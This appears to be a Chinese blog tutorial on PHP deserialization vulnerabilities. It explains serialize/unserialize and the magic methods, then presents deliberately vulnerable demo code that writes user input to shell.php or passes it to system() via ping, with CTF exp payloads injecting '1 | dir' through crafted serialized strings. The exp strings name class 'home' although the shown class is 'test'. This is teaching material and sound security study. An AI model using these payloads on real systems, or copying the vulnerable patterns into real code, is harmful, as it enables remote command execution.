serialize与unserialize

相对于网上其他关于Serialize的讲解,不下万篇,学习笔记,稍微总结一番。本篇文章按照浅谈php反序列化漏洞,进行学习指导,基础内容略过。

举个栗子

先举个例子说明serialize()unserialize()

1552959114112

显而易见,两个函数的例子所表达的形式就是这么简单。

再捡个栗子

接下来看看下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
header('Content-Type:text;charset=utf-8');
class DemoClass{
public $name = "hahaha";
public $sex = "woman";
public $age = "7";
}

$example = new DemoClass(); //生成新对象
echo serialize($example); //输出结果:O:9:"DemoClass":3:{s:4:"name";s:6:"hahaha";s:3:"sex";s:5:"woman";s:3:"age";s:1:"7";}

$example->name = "yinfeng";
$example->sex = "man";
$example->age = "18";
echo "\n";
echo serialize($example); //输出结果:O:9:"DemoClass":3:{s:4:"name";s:7:"yinfeng";s:3:"sex";s:3:"man";s:3:"age";s:2:"18";}
echo "\n";



$val = serialize($example);
$NewExample = unserialize($val);
print_r($NewExample);
echo $NewExample->name; //输出结果:yinfeng
echo $NewExample->sex; //输出结果:man
echo $NewExample->age; //输出结果:18

针对其中的代码分析,可以看到serialize序列化对象后(echo serialize($example);),得到的是O:9:"DemoClass":3:{s:4:"name";s:7:"yinfeng";s:3:"sex";s:3:"man";s:3:"age";s:2:"18";};而unserialize序列化对象后(print_r($NewExample);)。 下图呈现两种函数执行形式:

1552956021755

可以看到serialize序列化对象,得到的是对象引用类的字符串输出,unserialize得到的结果与之相反,将对象引用类的字符串输出转化为类中引用值的呈现模式。

深入栗子

在php官方的简述中,有以下红标记的描述,提到了__sleep()__wakeup(),只是啥呢,以第一个栗子引申出来剖析

1552959481831

还是一样的代码,不过类中我们加了一些东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class A{
public $name='Tom';
function __sleep()
{
// TODO: Implement __sleep() method.
echo "__sleep";
echo "</br>";
return array("name");
}

function __wakeup()
{
// TODO: Implement __wakeup() method.
echo "__wakeup";
echo "</br>";
}
function __construct()
{
// TODO: Implement __construct() method.
echo "__construct";
echo "</br>";
}
function __destruct()
{
echo "__destruct";
echo "</br>";
// TODO: Implement __destruct() method.
}
}

echo "------------------0--------------------"."</br>";
$a=new A;
echo "------------------1--------------------"."</br>";
$a_value=serialize($a);
echo $a_value."</br>";
echo "------------------2--------------------"."</br>";
$a_uns=unserialize($a_value);
echo "------------------3--------------------"."</br>";
print_r($a_uns);
echo "</br>"."------------------4--------------------"."</br>";

__wakeup()__construct()__destruct()这三个函数是干嘛的呢

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • 析构函数__destruct():当对象被销毁时会自动调用。
  • 魔法函数__wakeup()unserialize()时会自动调用。

我们先来看看运行结果:

1552982483785

可以看到,在创建a对象时,自动调用了__construct()serialize($a)时调用__sleep函数;unserialize($a_value)时调用了__wakeup()

而在其中,不知你是否发现其中__sleep()我是这样写的

1
2
3
4
5
6
7
function __sleep()
{
// TODO: Implement __sleep() method.
echo "__sleep";
echo "</br>";
return array("name");
}

相对于其他函数,多了个return array("name");,为什么呢?

php文档中,针对这个原因,是这样描述的

1552981443700

其中,不知你看到这句没

1552982878692

我们试试没有return返回值的情况

1552983144120

不加这句的后果,如下图:

1552983410764

那如果,我返回的值设置不是name时,即这里改为return array("namef");,以下是报错结果

1552982312376

这样的描述,是否能更好解决你的疑问呢?

构造栗子

现在我们看看下面这段代码,尝试加在刚刚的代码后

1
2
3
4
5
6
$Str_1 = 'O:1:"A":1:{s:4:"name";s:4:"Anny";}';
$Un_serialize = unserialize($Str_1); //使用unserialize回调__wakeup

echo "------------------5--------------------"."</br>";
print_r($Un_serialize);
echo "\n";

也许你注意到了$Str_1的值,没错,这次我们通过自行构造一个nameAnny,看看反序列化后的值。

1552994154348

这里就需要我们想想,反序列化的漏洞是如何体现的呢?本质原因就是我们可以构造一串伪造的字符串,通过unserialize函数,覆盖掉原本类成员变量的默认值。这一点就像C语言中的构造函数,传入的值会取代原本其成员变量的默认值。

有兴趣的同学可以试试下面的$Str_1的替换,看看会产生什么结果?

1
$Str_1 = 'O:14:"Test_serialize":1:{s:4:"name";s:4:"test";}';

你能直观的看到,应是下面的内容

1552994528361

再对比下图

1552994607461

发现了没,析构函数多了一个?__wakeup函数也多了?这是不是意味着什么呢?

说了这么多,烦了嘛?接下来,我们来模拟下漏洞场景吧!

在前面我们提到过,unserialize()时会自动调用魔法函数__wakeup() 。这个漏洞的关键点就在于如何通过__wakeup()中的执行语句,执行危险命令,下面是个简单模拟,在__wakeup()中我们只是输出引用的name的值(那假如__wakeup()中存在其他的**命令呢?)

1552995418499

再挑白点,看看下面的例子

1552995908480

如果我将Anny再改成其他,后果可想而知。

1552997497869

再构栗子

两个不同类,在一个类中调用另一个类的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
Class Object_serialize{
var $name = 'Tom';
function __wakeup()
{
// TODO: Implement __wakeup() method.
echo "__wakeup";
echo "</br>";
echo $this->name;
$test = new Object_Example($this->name);
}
}
Class Object_Example{
function __construct($name)
{
$fp = fopen("shell.php","w");
fwrite($fp,$name);
fclose($fp);
}
}

//$username = 'O:16:"Object_serialize":1:{s:4:"name";s:4:"Jnny";}';
$username = $_GET['username'];
print_r($username);
echo "</br>";
$b = unserialize($username);
echo "</br>"."--------------------------------------"."</br>";
require "getshell.php";

通过username传入构造好的序列化字符串后,进行反序列化时自动调用 __wakeup()函数,从而在Object_serialize会自动调用对象test的类Object_Example中的__construct()方法,从而写入到东西到文件中。

炭烤栗子

某次比赛test.php源码(2018fj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class test{

private $method;
private $args;
function __construct($method, $args) {


$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize($a);
?>

看看上面的代码,首先执行就两句话

1
2
$a=@$_POST['a'];
@unserialize($a);

传入post的数据,然后反序列化该值。我们知道,unserialize()函数执行后,会自动执行__wakeup()预备执行对象的资源,进行初始化。而当__wakeup()函数执行完后,会调用析构函数__destruct()释放资源,仔细观察 __wakeup()

1
2
3
4
5
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}

发现反序列化的值会被其中waf()进行空格过滤,如下图

1553070235661

再接着调用了__destruct(),方便观察我把每个函数执行的过程呈现出来

1553070491839

其中语句call_user_func_array(array($this, $this->method), $this->args);,指的是回调当前类$this$this->method方法,$this->args为传入的$this->method方法的参数值。在本题中就是往test类的ping()中传入了一个$host为类变量$args的值,随后通过构造好的反序列化的字符串,我们拿到了想要的东西。

1553070745585

exp:a=O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:7:"1 | dir";}}

至于其中为啥跟我们之前将的不一样,构造时,我们加入了在私有成员变量method前加了个%00home%00,这是因为当成员变量是私有的时候,会在成员变量前面添加类名;当成员变量是被保护的时候,会在被保护成员前面添加一个*,并且,在所添加的类名或者*的左右两边都会有一个null字节,也就是%00,因此,长度都增加了2。下面给出不一样的代码,请大伙自行尝试构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class test{

protected $method;
private $args;
function __construct($method, $args) {


$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize($a);
?>

exp:a=O:4:"home":2:{s:9:"%00*%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:7:"1 | dir";}}

关于序列化的问题,发现并不是很难,只要代码看的懂,执行步骤明白,知道漏洞的原理,没有想象的那么难,这篇还没完,持续更新,关于反序列化这只是冰山一角。青山不改,绿水长流。

0%